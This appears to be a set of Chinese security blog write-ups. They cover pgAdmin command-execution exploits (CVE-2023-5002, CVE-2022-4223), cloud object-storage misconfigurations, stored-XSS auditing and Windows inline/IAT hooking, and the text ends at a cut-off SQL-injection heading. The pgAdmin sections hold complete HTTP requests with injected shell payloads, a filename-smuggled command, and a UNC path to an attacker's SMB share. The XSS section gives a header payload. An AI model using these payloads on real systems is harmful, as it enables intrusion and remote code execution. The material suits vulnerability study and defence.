pgAdmin后台命令执行漏洞(CVE-2023-5002)
我们可以看到针对于漏洞 CVE-2022-4223,官方做了一定的修复措施。
web\pgadmin\misc__init__.py#validate_binary_path
首先是添加了 @login_required 进行权限校验。在 Flask 框架中,@login_required 装饰器通常与 Flask-Login 扩展一起使用。Flask-Login 提供了简单而强大的用户身份验证功能,其中包括 @login_required 装饰器用于保护需要登录用户才能访问的视图。当在一个函数、方法或类上应用 @login_required 装饰器时,它会检查当前用户是否已经登录。如果用户未登录,则会将其重定向到登录页面或返回相应的错误信息,而不允许访问被装饰的代码块。
添加了权限校验之后,这个漏洞就从未授权的前台漏洞,转换为需要登录的后台漏洞了。
同时对传入的路径进行校验,通过 os.path.exists 来判断是否存在。
linux
我们发现会对传入的路径进行校验的,那么在linux 下,我们可以通过在服务器上上传一个包含恶意文件名的文件,来进行绕过。
可以从 docker hub 上搜索 docker 资源
https://hub.docker.com/search?q=pgadmindocker pull dpage/pgadmin4:7.6
docker run -e 'PGADMIN_DEFAULT_EMAIL=test@example.com' -e 'PGADMIN_DEFAULT_PASSWORD=123456' -p 5050:80 --name pgadmin -d docker.io/dpage/pgadmin4:7.6
登录后台工具->存储管理器
上传一个包含恶意文件名的文件
POST /file_manager/filemanager/3395111/ HTTP/1.1
Host: 127.0.0.1:5050
Content-Length: 491
X-pgA-CSRFToken: ImE3NDYzOGJhOWYxNDIzY2QzZDUwNTI3MWMzOGU4NGNhMmNhNzkzYTQi.Zi8ctA._DuZsbw2SE05kwuVkqgG7Y-KsjE
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryihDQGI2B09k9alLf
Origin: http://127.0.0.1:5050
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pga4_session=2397843f-fbe6-4481-947e-e30f73c6a0ee!GPxXiZuTJzjVn+sk6vhlLNAmjhQr6xIY0yumFSIGBAQ=; PGADMIN_LANGUAGE=zh
Connection: close
------WebKitFormBoundaryihDQGI2B09k9alLf
Content-Disposition: form-data; name="newfile"; filename="\";id;#"
Content-Type: text/plain
123
------WebKitFormBoundaryihDQGI2B09k9alLf
Content-Disposition: form-data; name="mode"
add
------WebKitFormBoundaryihDQGI2B09k9alLf
Content-Disposition: form-data; name="currentpath"
/
------WebKitFormBoundaryihDQGI2B09k9alLf
Content-Disposition: form-data; name="storage_folder"
my_storage
------WebKitFormBoundaryihDQGI2B09k9alLf--
同时可以得到在文件在服务器上的路径
打开文件->配置
路径->二进制路径->填入恶意文件的位置
点击运行
windows
下载软件并进行安装
https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v6.21/windows/pgadmin4-6.21-x64.exe需要把C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web 下的config.py 修改 DEFAULT_SERVER \= '0.0.0.0'
因为windows 无法利用拼接来执行命令,所以还是要想办法成功加载文件才行。
import os
binary_path = "\\\\192.168.222.128\\TMP\\"
UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
for utility in UTILITIES_ARRAY:
full_path = os.path.abspath(
os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe')))
)
print(full_path)
print(os.path.exists(full_path))
windows 不能再利用共享资源来实现,所以也构造一个exe 上传并执行。
编译恶意的exe文件并放到上传
pip install pyinstaller
type execute_calc.py
import subprocess
def execute_calc():
subprocess.call("calc.exe")
if __name__ == "__main__":
execute_calc()
pyinstaller --onefile execute_calc.py
和linux启动有所不同
Tools->import
成功将恶意文件上传到服务器上。
同时构造请求数据包
POST /misc/validate_binary_path HTTP/1.1
Host: 192.168.222.145:5050
X-pgA-CSRFToken: IjU4MzQ0OTM2Yzc3YzM5ZmE5Yjg0MjRhODVlNzkzZjM5MTViZDBmNzki.Zi9GcQ.pGwCjLqPq3fNzohIRNerpipIRK8
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://192.168.222.145:5050
Referer: http://192.168.222.145:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pga4_session=e6f521fc-e9f4-4c58-bf0a-e9abafb4ceb5!JG7fBzRT4FkugKb175t9vWdZpKmAtnbo0d/oPzcAbFI=; PGADMIN_LANGUAGE=en
Connection: close
Content-Type: application/json
Content-Length: 39
{"utility_path":"C:\\Users\\whippet\\"}
可能是因为本地测试的原因,后来尝试的时候发现,本地去调用共享文件时,可以接收到请求,但是很快就断开连接,所以最后的结果是 False。
所以环境为windwos 时可以利用共享资源来绕过 os.path.exists()的检测。
云上宝库:三大厂商对象存储安全性及差异性比较
前言
看了几家云厂商的对象存储,使用上有相似也有差异,聊聊阿里云、腾讯云、京东云三家对象存储在使用中存在的风险以及防护措施。
0x01 云存储命名
阿里云对象存储OSS(Object Storage Service),新用户免费试用三个月,存储包容量规格20G三个月.
腾讯云对象存储 COS(Cloud Object Storage),新用户标准存储容量包,有效期6个月(180天),个人用户50GB6个月,企业用户1T六个月。
京东云对象存储OSS(Object Storage Service) ,目前无限制,存储包容量规格10G/月,请求次数50W次/月的标准,低于标准一直免费使用。
0x02 云存储空间创建
阿里云
创建存储桶Bucket的名称唯一设置和地域没有关系,创建存储桶后的域名规则为:<BucketName>.oss.<Region>.aliyuncs.com
腾讯云
腾讯云创建存储桶名称唯一跟低于也无关系,其名称构成<BucketName-APPID>.cos.<Region>.myqcloud.com
京东云
京东云的bucket地域只有四个,命令规则为<BucketName>.s3.<position>-id.jdcloud-oss.com
华北
华东
0x03 云存储API密钥存储
阿里云
进入
离开创建页面后无法获取SK,需提前保存SK,后期无法查看
这里用户权限需要授权
如果未授权,则Forbiden访问
腾讯云
创建AK/SK后期无法查询,密钥存储要求上基本与阿里云一致。
京东云
京东云需要首先设置AccessKey,否则无法操作存储桶。
AccessKey创建后可AS查看
0x04 云存储常见安全问题
1. 配置不当导致的安全问题
阿里云
阿里云设置公有读
存储桶内的文件可被读取,虽然无法直接list对象,但是可以通过爆破的方式读取文件内容
当设置包含listobject时,web访问存储桶直接可遍历对象
当Bucket的权限设置为公共读写的时候,是可以直接使用PUT方式上传文件到存储桶内,这种配置会导致桶内文件来源的真实性无法保证
文件上传成功
腾讯云
腾讯云的存储桶权限和阿里云类似,描述不同,当非公共读写、非私有的条件下是可以遍历桶内文件的
存储桶内的文件可被读取,虽然无法直接list对象,但是可以通过爆破的方式读取文件内容
公共读写权限配置后可直接上传
京东云
京东云在Bucket的权限上和阿里、腾讯基本一致,非私有状态下,也存在Bucket文件可遍历
上传txt
文件写入成功
风险
针对配置不当,可能产生的风险在于
数据泄露: 配置不当可能导致存储桶中的敏感数据被公开访问,如用户个人信息、敏感文件等。
后渗透风险:桶内数据来源的真实性面向用户无法保障,且对用户的安全性造成影响,可利用该漏洞进行供应链攻击。
2.策略配置不当导致的安全风险
针对三家厂商的存储桶,阿里云bucket授权策略
腾讯云Policy策略
这两家比较类似
京东云CORS跨域规则
规则添加简单测试还是比较友好的
风险
规则配置可能会导致存储桶敏感文件泄露,比如说规则设置添加遍历存储桶对象等。
3.存储桶爆破
阿里云
阿里云针对存储桶的回显返回值不同
无Bucket
腾讯云
腾讯云的回显
京东云
风险
虽然三家的产品根据回显值均可以爆破,如果从利用角度来讲,需要配合前面的配置不当才能继续后渗透,从爆破的角度来讲,腾讯云的域名构成<BucketName-APPID>.cos.<Region>.myqcloud.com的爆破存储桶的风险可以说是最低的,甚至可以说基本上不用考虑。目前下载大量的存储桶在业务中的应用可能最常见的是图片文件云存储利用,一般是不设置域名绑定存储桶的。
4.AK/SK泄露
AK 和 SK 泄露可能被恶意用户用于未经授权的访问云服务资源,导致数据泄露、篡改或删除等安全问题。针对不同厂商目前有工具可直接利用泄露的AK/SK接管存储桶。
针对不同厂商对象存储AK/SK的创建用户的权限划风险需要注意
阿里云RAM访问控制
腾讯云用户访问管理权限分配
京东云
用户授权
用户权限配置不当,会导致云服务被完全接管。
0x05 云存储防护
加强身份验证和访问控制: 使用身份和访问管理(IAM)来限制对存储桶和其中对象的访问。确保只有授权的用户或服务能够访问,并严格控制他们的权限,采用最小权限原则。
加密数据: 对于敏感数据,采用适当的加密措施,包括数据在传输和静态存储时的加密。
网络安全配置: 配置网络安全组、防火墙等措施,限制对存储桶的访问仅来自可信来源,减少公开访问的风险。
监控和日志记录: 设置监控警报,对存储桶的访问和活动进行实时监控,并记录审计日志,以便及时发现异常行为或潜在的安全威胁。
定期备份和恢复: 定期备份存储桶中的重要数据,并建立有效的恢复计划,以防止数据丢失或损坏,例如意外删除或勒索软件攻击。
防止公开访问误配置: 定期审查存储桶的访问权限配置,确保没有意外的公开访问权限,避免因配置错误导致数据泄露的风险。
实施访问限制策略: 使用 IP 白名单或访问令牌等策略,限制存储桶的访问仅限于授权的用户或系统。
代码审计中XSS挖掘一些体会
0x01 XSS的挖掘思路
1.1 反射型
直接搜索 echo print_r print之类的函数即可也可以寻找$_GET变量来判断是否存在输出(不过对于代码审计来说除非实在挖不出漏洞,否则没必要关注反射xss)
1.2 dom型
和反射型差不多需要看网站的前端javascript(一般安装好网页直接查看源代码即可,和反射xss一样代码审计没必要太过于关注)。但是也和反射型有区别,domxss是不经过服务器处理的,也就是不需要经过后端代码,需要审计javascript。
1.3 存储型xss
对于代码审计,存储型xss才是需要关注的重点。
存储型xss一般是存在有数据库交互的地方,因为需要把数据写入进去数据库中才能长期储存数据。
所以我们在审计存储型xss的时候会关注数据库交互的地方。
这里举例两种思路:
思路一 : 从数据库类文件中开始审计
什么是数据库类文件呢?其实在实际开发项目过程中,通常程序员都会把数据库操作封装成一个类来提供操作。
比如说我们需要设计一个留言板,留言板最基本得有这几个功能吧。比如说发表留言,查看留言,回复留言,删除留言,修改留言等等功能。
而这些是不是需要使用数据库来实现这类功能(下面用代码配合伪代码示意,注意代码可以不用理解功能,但是要能够理解代码为什么要这样写。)
# 比如用户发表一条留言
# uname就是用户名也就是"小明",content就是内容也就是"你好"
insert into text(id, uname, content) value(1, '小明', '你好');
# 然后用户发现你好不太恰当,想删掉替换成您好
delete from text where id = 1;
# id就是数据库用于区分不同数据的字段, delete from 表示删除表里面的内容
text表示需要删除的表
# 表示删除id=1的数据
where id = 1
# 那么php中的代码是这样看小明的:
$sql = "insert into text(id, uname, content) value(1, '小明',
'你好')";
// $conn就是我们数据库的链接
mysqli_query($conn, $sql);
$sql = "delete from text where id = 1";
mysqli_query($conn, $sql);
// 小明换成了您好
$sql = "insert into text(id, uname, content) value(2, '小明',
'您好')";
mysqli_query($conn, $sql);
$sql = "delete from text where id = 2";
mysqli_query($conn, $sql);
# 这样的代码是不是特别麻烦 把他简化一下(把sql查询做成一个函数)
function sql_insert($name, $content){
$sql = "insert into text(id, uname, content) value(1, '{$name}',
'{$content}',哈哈哈哈')";
mysqli_query($conn,$sql);
}
function sql_delete($id){
$sql = "delete from text where id = '{$id}'";
mysqli_query($conn,$sql);
}
// 好的封装完成了 这时候小明发送你好
sql_insert('小明', "你好");
sql_delete(1); // 想删除
// 发送您好
sql_insert('小明', "您好");
sql_delete(2); // 又删除
# 这样是不是无论小明发多少条留言都能够很轻松的删除插入
# 好了 这就是封装成的作用(把重复的操作放在一起)
#
这里是写完了,但是还是有一个问题,比如遇到sql注入怎么办。遇到xss怎么办。
# 很简单!只需要修改我们定义的两个操作函数即可
function sql_insert($name, $content){
$name = htmlspecialchars(addslashes($name));
$content = htmlspecialchars(addslashes($content)); // 添加了转义
$sql = "insert into text(id, uname, content) value(1, '{$name}',
'{$content}')";
mysqli_query($conn,$sql);
}
function sql_delete($id){
$id = intval($id); // 强制转换
$sql = "delete from text where id = '{$id}'";
mysqli_query($conn,$sql);
}
#
是不是这样的写法很方便,如果我们不定义一个函数集中操作的话每次拼接sql语句都需要添加htmlspecialchars和addlashes
#
这就是我们为什么要寻找数据库操作文件的意义。(因为程序员很有可能把过滤函数写在sql类中)
好了,进入正题。 关于如何找到sql封装文件,很简单。
搜索关键字即可(new mysqli, mysqli,pdo)这里拿其他cms来实例(phpems架构比较复杂也就是上课时用的cms)这里我使用yixuncms_v2.0.3
打开文件,全局搜索
第二步 分析文件的功能 查找需要的关键函数
直接跟进query函数 查看是否有过滤
右键定位函数 定位escape_string_array函数
然后跟进审计
思路二: 使用输出函数进行动态输出查看是否过滤
因为源代码在我们服务器上,我们可以使用echo或者var_dump查看过滤后的结果来判断过滤了什么。
由于我们不知道在程序在哪个页面做了sql查询,所以选择登录功能作为测试点
因为可以知道一点,那就是登陆功能一定是做了sql查询的,除非是前端登陆,而前端登陆本身也就是一个漏洞...
知道了这一点,登陆抓包,登陆账号密码有没有都不要紧。
我这里使用错误的账号密码登陆:
返回了一个操作失败
然后我们根据提示去全局搜索: 操作失败
至于为什么是这三个呢? 因为我们抓到的数据表访问的就是这个路径
进入app.php
然后定位getUserByUserName函数
然后就可以添加代码进行调试了(修改后记得保存 快捷键 ctrl + s)
再次发包进行调试发现已经返回sql语句了
思路在这里完结了。下面是漏洞复现
0x02 漏洞的复现
因为上面已经知道了xss和sql在普通参数里面不存在,然后正常注册后登陆发现
那么直接根据注册ip搜索
跟进后再次全局搜索
由于程序开发中默认ip地址是安全的一般很少会进行过滤,所以这里直接猜测ip地址不存在过滤。
然后注册账号进行测试
payload:Client-ip: <svg/onload=alert(1)>
然后放包,发现个人中心已经存储了我们的xss
同理,这里没有经过过滤也是存在注入的。这里就不在演示
0x03 总结
xss加固可以在前端或者后端实体编码 同时也要注意对单双引号的转义。
不要以为获取ip就是安全的,获取ip往往是不安全的。
思路 -》 找过滤函数 -》测试过滤是否有遗漏 -》 测试可能没有经过过滤的参数
有些网站会把在属性内的参数使用反斜杠编码.比如你输入 &url="onerror=alert(1) 双引号会被转义成/",这时如果网站的编码是gb2312...之类的可以使用宽字节 %df"的方式绕过
浅谈内联钩取原理与实现
前言
导入地址表钩取的方法容易实现但是存在缺陷,若需要钩取的函数不存在导入地址表中,那么我们就无法进行钩取,出现以下几种情况时,导入函数是不会存储在导入地址表中的。
延迟加载:当导入函数还没调用时,导入函数还未写入到导入地址表中。
动态链接:使用LoadLibrary与GetProcAddress函数时,程序是显示获取函数地址的,因此不会写入到导入地址表中。
手动解析导入函数:即程序自身实现一套导入方法,那么此时也不会将导入函数写入到导入地址表中。
有一种钩取方法解决上述问题即内联钩取(inline hook)。
内联钩取(inline hook)
内联钩取实际是找到需要钩取的函数地址,这里与导入地址表钩取不同的是我们不再局限于导入地址表,而是程序中所有的函数地址都能够作为钩取的对象。
这里以CreateProcessW函数为例,在CreateProcessW函数中,第一条指令是mov edi,edi
那么根据钩取的思路,我们将mov edi,edi这条指令修改为jmp xxx(xxx为我们自定义函数的地址),那么在执行CreateaProcessW函数时即可跳转到我们的自定义函数中。
我们获取mov edi,edi指令的地址,并且将该指令篡改为jmp指令,并且把mov edi,edi指令的数据进行存储,那么在执行到CreateProcessW函数时就会执行jmp指令跳转到自定义函数中,在钩取操作时需要将指令写回,还原CreateProcessW函数的执行逻辑,就可以在钩取的同时无碍的执行程序。
那么总结一下内联钩取函数的流程
找到需要钩取的函数的指令地址,这个指令并不仅限于函数起始的指令。
将该指令篡改成跳转指令,跳转的目的就是自定义的函数。
在自定义函数内需要还原被钩取函数的指令。
因此内联钩取的实际就是修改程序执行逻辑,劫持程序的执行流程。由于32位程序与64位程序的汇编语言与寻址方式有些许差异,因此不同机器位数的程序的内联钩取方式不同。
机器码的获取
由于在篡改内存时需要将jmp xxx的机器码填写到内存中,因此做内联钩取时需要获取指令对应的机器码。在C语言中支持内联汇编,因此可以使用内联汇编然后查看对应的机器码即可。
但是直接使用visual studio编译64位程序的内联汇编代码会出错,这是因为visual studio自带的编译工具不支持x64的内联汇编。
因此需要先安装clang编译器
在项目的编译工具选择clang即可
在反汇编窗口中就有机器码了。
32位的内联钩取
首先第一步是确定在32位程序下是如何进行跳转的,在32位情况使用跳转指令是根据偏移获取目的地址,偏移的计算公式如下
跳转偏移 = 跳转目的地址 - 当前指令地址 - 指令长度
因此jmp xxx中,xxx是偏移值而不是目的函数的绝对地址。
紧接着需要确定在32位下跳转指令的机器码是多少,用下面例子看看
void MyCreateProcess()
{
}
int main()
{
__asm {
jmp MyCreateProcess;
};
}
可以看到对应的机器码为E9 EB FF FF FF
可以看到目标函数的地址为0xA71000,使用上述公式计算一下偏移为0xA71000 - 0x0A71010 - 5 = 0xffffffeb,因此E9为jmp的机器码
因此需要将待钩取函数的第一条指令修改为E9 XX XX XX XX XX,长度为5个字节
然后选择一个目标函数,这里还是使用CreateProcessW函数作为例子,需要先获取CreateProcessW函数的地址
...
hMoudle = GetModuleHandleA(szDllName); //获取Kernel32.dll模块的地址
if (hMoudle == NULL)
{
GetLastError();
}
pfnOld = GetProcAddress(hMoudle, funName);//获取CreateProcessW函数地址
if (pfnOld == NULL)
{
GetLastError();
}
...
然后需要保存原始指令,然后修改区域为可写权限,紧接着计算一下偏移把完整的指令写进到待钩取函数即可。
...
//修改权限
VirtualProtect(pfnOld, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
//存储原始的5个字节
memcpy(pOrgBytes, pfnOld, 5);
//计算需要跳转到的地址
//跳转偏移 = 跳转目的地址 - 当前指令地址 - 指令长度
dwAddress = (ULONGLONG)pfnNew - (ULONGLONG)pfnOld - 5;
//将目标函数的地址写入到指令中
memcpy(&pBuf[1], &dwAddress, 4);
//篡改为跳转指令
memcpy(pfnOld, pBuf, 5);
//还原权限
VirtualProtect(pfnOld, 5, dwOldProtect, &dwOldProtect);
...
64位的内联钩取
64位下的规则会与32位有差异,但是总体思路是一致的。在32位下我们采用了偏移的方式找到目标函数,在64位下可以换种方式,采用mov rax, xxx; jmp rax,将函数的绝对地址写入寄存器,然后跳转到指定寄存器的方式。
如下例子,我们首先获取自定义函数的绝对地址,紧接着将它存放于寄存器中,紧接着跳转即可。
int main()
{
__asm {
mov rax, 0x1122334455667788;
jmp rax;
};
}
可以看到mov rax, xxx; jmp rax指令的机器码为48 B8 xx xx xx xx xx xx xx xx FF E0,其中由于64位地址都是8字节的,因此需要xx需要填充8字节
因此总体代码与32位区别不大,这里需要注意的是篡改的指令长度需要根据实际进行更改。
/*
* 48 B8 88 77 66 55 44 33 22 11 mov rax, 0x1122334455667788
* FF E0 jmp rax
* 需要12个字节进行跳转
*/
//修改区域权限
VirtualProtect((LPVOID)pfnOrg, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
//保存原有的12字节数据
memcpy(pOrgBytes, pfnOrg, 12);
//将HOOK函数的地址填进缓冲区
//将目标地址拷贝到指令中
memcpy(&pBuf[2], &pfnNew, 8);
//篡改待钩取函数
memcpy(pfnOrg, pBuf, 12);
//恢复权限
VirtualProtect((LPVOID)pfnOrg, 12, dwOldProtect, &dwOldProtect);
因此任意可以修改函数执行流程的汇编指令实际都可以例如push xxx; ret。
完整代码可以参考:
https://github.com/h0pe-ay/HookTechnology/tree/main/Hook-InlineHook总结
优势
内联钩取相较于导入表钩取的选择性更广,可以选择任意的函数及函数内的任意指令地址。
劣势
每次都需要脱钩后再进行挂钩,影响效率
多线程写入时可能会出错
pgAdmin未授权命令执行漏洞(CVE-2022-4223)
https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v5.7/source/pgadmin4-5.7.tar.gz 下载 pgadmin5.7 的源码
首先从代码层面进行分析
接口 /validate_binary_path 最后调用了 subprocess.getoutput( 来执行了命令
这一部分代码是对传入的路径进行检测,如果是在 linux 下直接拼接,在windows 下部署,后缀中会添加 .exe 。同时 windows下恶意的exe文件必须是下面几个文件名之一 'pg_dump', 'pg_dumpall', 'pg_restore', 'psql'
linux
可以从 docker hub 上搜索 docker 资源 https://hub.docker.com/search?q=pgadmin
docker pull dpage/pgadmin4:6.16
docker run -e 'PGADMIN_DEFAULT_EMAIL=test@example.com' -e 'PGADMIN_DEFAULT_PASSWORD=123456' -p 5050:80 --name pgadmin -d docker.io/dpage/pgadmin4:6.16
直接构造发送会提示 The CSRF token is missing.
所以我们先请求路由 login
POST /misc/validate_binary_path HTTP/1.1
Host: 127.0.0.1:5050
Upgrade-Insecure-Requests: 1
X-pgA-CSRFToken:ImI1OWE1NjQ3ZDZlYjBkYzFmMjgzYzE3MTEyMGRiZTA0MWYwM2YwMjgi.ZhUBBQ.S3V3X0JmCbEcwcpWZkf1TVYVRS4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PGADMIN_LANGUAGE=en;pga4_session=bada494b-009f-4c04-bded-20497c5dcf74!pMVxVlI925/AqyV9Oq0RqiPecdo0fWg2hWYHxGDEpYc=;
Connection: close
Content-Type: application/json
Content-Length: 33
{"utility_path":"a\";ifconfig;#"}
import os
binary_path = "a\";ifconfig;#"
UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
for utility in UTILITIES_ARRAY:
full_path = os.path.abspath(
os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe')))
)
print(full_path)
我们简化代码在linux 下执行,最后利用; 分割执行命令
windows
下载软件并进行安装 https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v5.7/windows/pgadmin4-5.7-x64.exe
我们发现同样在 windows 下拼接时是无法利用; 分割执行命令,但是可以通过 UNC path指定攻击者的恶意文件
import os
binary_path = "\\\\192.168.222.1\\TMP\\"
UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
for utility in UTILITIES_ARRAY:
full_path = os.path.abspath(
os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe')))
)
print(full_path)
我们发现通过构造传入参数,我们可以伪造共享地址
windows 下的环境始终无法启动 web 界面,因为环境实在太老了,启动 C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web\setup.py 各种版本问题,一直没办法启动成功,所以只做理论上的验证
后来我发现安装完成之后,会在界面下提供一个python目录,所以直接选择该python 来启动项目,需要把C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web 下的config.py 修改 DEFAULT_SERVER \= '0.0.0.0'
使用impacket提供的smbserver.py脚本构造恶意的smb服务 smbserver.py TMP /tmp
编译恶意的exe文件并放到对应目录
pip install pyinstaller
type execute_calc.py
import subprocess
def execute_calc():
subprocess.call("calc.exe")
if __name__ == "__main__":
execute_calc()
pyinstaller --onefile execute_calc.py
POST /misc/validate_binary_path HTTP/1.1
Host: 192.168.222.145:5050
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-pgA-CSRFToken: Ijg5MDJjOGQ2YmVlNTA1NDMwZjFmODA1ZWNjYTIyNzg5MjExM2EzNDci.Zi3CIg.9u2mEcj30C2tPX0soO3L7tJrp5w
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pga4_session=9cd07409-7aca-46c3-8635-e615a7fcd4ac!lthUHprxGzxRdWMWfPm1VLDOLpk=;
Connection: close
Content-Type: application/json
Content-Length: 45
{"utility_path":"\\\\192.168.222.128\\TMP\\"}
导入地址表钩取技术解析
前置知识
导入表
在一个可执行文件需要用到其余DLL文件中的函数时,就需要用到导入表,用于记录需要引用的函数。例如我们编写的可执行文件需要用到CreateProcess函数,就需要用到kernel32.dll文件并且将其中的CreateProcess函数的信息导入到我们的可执行文件中,然后再调用。
为了管理这些导入函数,就构建了一个导入表进行统一的管理,简单来说,当我们编写的可执行文件中使用到导入函数就会去导入表中去搜索找到指定的导入函数,获取该导入函数的地址并调用。
因此加载器再调用导入函数之前需要先找到导入表的所在处。在可执行文件映射到内存空间是,都是以Dos Header开始的,在该头部存在elfanew的字段,用于记录PE文件头的偏移,在PE文件头存在可选头的结构体,该结构体中存储数据目录项,其中就包括了导入表。因此在内存中我们需要通过Dos Header -> Nt Header -> Option Header -> Import Table的顺序获取导入表。
这里使用《加密与解密》的图来看一下导入表的结构体,如下图。
可以看到导入表涉及的变量非常多,这里重点关注OriginalFirstThunk、FistThunk以及Name
Name:指向导入库的名称。
OriginalFistThunk:指向输入名称表,里面存储了导入函数的信息。
FirstThunk:指向输入地址表,可以看到在初始化的时候OriginalFistThunk与FirstThunk指向的是同一块区域,即导入函数的信息。
输入名称表的结构体如下图,这里重点关注Ordinal与AddressOfData
Ordinal:记录函数的序号,即导入函数以序号存储
AdressOfData:以函数命的形式记录导入函数
那么INT与IAT的区别在于,加载器会在从导入表中获取了导入函数名称后,会搜索该函数的名称并获取该函数的地址并填入到IAT中,因此在经历了加载器后,IAT中存储了实际地址。如下图。
导入地址表钩取技术
输入地址表钩取技术就是通过修改输入地址表的地址值,因此当调用该导入函数时会跳转到被篡改的地址上。
在钩取之前的状态如下图
在钩取之后的状态如下图
因此总结一下输入地址表钩取技术的流程
确定需要钩取的导入函数
获取输入地址表的地址
在输入地址表中搜索需要钩取的导入函数地址并且将导入函数地址修改为自定义的函数
在处理完之后需要在自定义函数中重新调用被钩取的函数
确定需要钩取的导入函数
首先确定可执行文件中存在什么导入函数,可以发现目标的可执行文件中导入了kernel32.dll的系统库,并且导入的CreateProcessW
那么采用输入地址表钩取方法钩取CreateProcessW函数。
获取导入地址表的地址
根据DOS Header -> Nt Header -> Option Header ->Import Table的顺序进行搜索,即可获取导入地址表的地址。
代码如下
...
//获取当前进程的基地址
hMod = GetModuleHandle(NULL);
pBase = (PBYTE)hMod;
//进程的基地址是从DOS头开始的
pImageDosHeader = (PIMAGE_DOS_HEADER)hMod;
//通过e_lfanew变量获取NT头的偏移,然后加上基地址及NT头的位置
pImageNtHeaders = (PIMAGE_NT_HEADERS)(pBase + pImageDosHeader->e_lfanew);
//数据目录项下标为1的项是导入表
pImageImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pImageNtHeaders->OptionalHeader.DataDirectory[1].VirtualAddress + pBase)
...
获取导入函数地址并修改
在获取导入地址表的地址后,首先通过遍历导入表的结构体,提取其中的Name字段,判断是否为我们需要钩取的导入库名。在匹配完成后则选择继续遍历IAT中的函数地址,找到需要钩取的函数地址,找到后则修改为自定义函数的地址。
代码如下
...
//遍历导入表项
for (; pImageImportDescriptor->Name; pImageImportDescriptor++)
{
//获取导入库的名称
szLibName = (LPCSTR)(pImageImportDescriptor->Name + pBase);
//比较导入库的名称,判断是否为kernel32.dll
if (!_stricmp(szLibName, szDllName))
{
//获取IAT
PIMAGE_THUNK_DATA pImageThunkData = (PIMAGE_THUNK_DATA)(pImageImportDescriptor->FirstThunk + pBase);
//获取导入函数地址
for (; pImageThunkData->u1.Function; pImageThunkData++)
{
//判断函数地址是否是需要钩取的函数地址,这里需要注意的是64位与32位地址的区别
if (pImageThunkData->u1.Function == (ULONGLONG)pfnOrg)
{
//修改IAT的权限为可写
VirtualProtect(&pImageThunkData->u1.Function, 4, PAGE_EXECUTE_READWRITE, &dwOldProtect);
//将原始的地址修改为自定义函数地址
pImageThunkData->u1.Function = (ULONGLONG)pfnNew;
//将权限恢复
VirtualProtect(&pImageThunkData->u1.Function, 4, dwOldProtect, &dwOldProtect);
return TRUE;
}
}
}
...
在自定义函数中重新调用被钩取的函数
这里需要注意的是,我们需要构建一个自定函数,该函数的返回类型与参数需要与钩取的函数一模一样,这样我们就可以获取所有参数的信息,然后篡改后重新传递给原始的导入函数,即可完成钩取。
代码如下,这里篡改原始CreateaProcessW函数的第一个参数,使计算器
...
LPCWSTR applicationName = L"C:\\Windows\\System32\\calc.exe";
return ((LPFN_CreateProcessW)g_pOrgFunc)(applicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
...
完整代码:https://github.com/h0pe-ay/HookTechnology/blob/main/Hook-IAT/iat.cpp
调试
刚开始使用的是xdbg调试,但是用的不太习惯,后面改用WinDbg还可以源码调试,这里记录一下需要用到的操作与指令。
符号表与源码加载
在设置中可以选择源码默认的目录以及符号表默认的目录,符号文件则是利用Visutal Studio编译生成的pdb文件。
其中srv*c:\Symbols*https://msdl.microsoft.com/download/symbols是下载官方的符号表文件,这里可以选择删掉只调试我们设置的文件。不然每次都需要下载一遍影响时间。
源码文件也可以在侧边栏选择Open source file选项打开。
DLL加载调试
由于钩取时需要先使用DLL注入技术将自定义的DLL文件注入进去,因此想要调试钩取过程则需要在DLL附着的时候打下断点。
利用sxe ld:xxx.dll即可在加载xxx.dll的时候打下断点。
利用sxe ud:xxx.dll即在卸载xxx.dll的时候打下断点。
关闭优化调试
防止自定义函数中的变量被优化导致不方便单步调试,在Visual Studio中可以选择关闭优化进行编译。
记一次“有手就行”的从SQL注入到文件上传Getshell的简单过程
0x01 前台SQL注入
漏洞原理
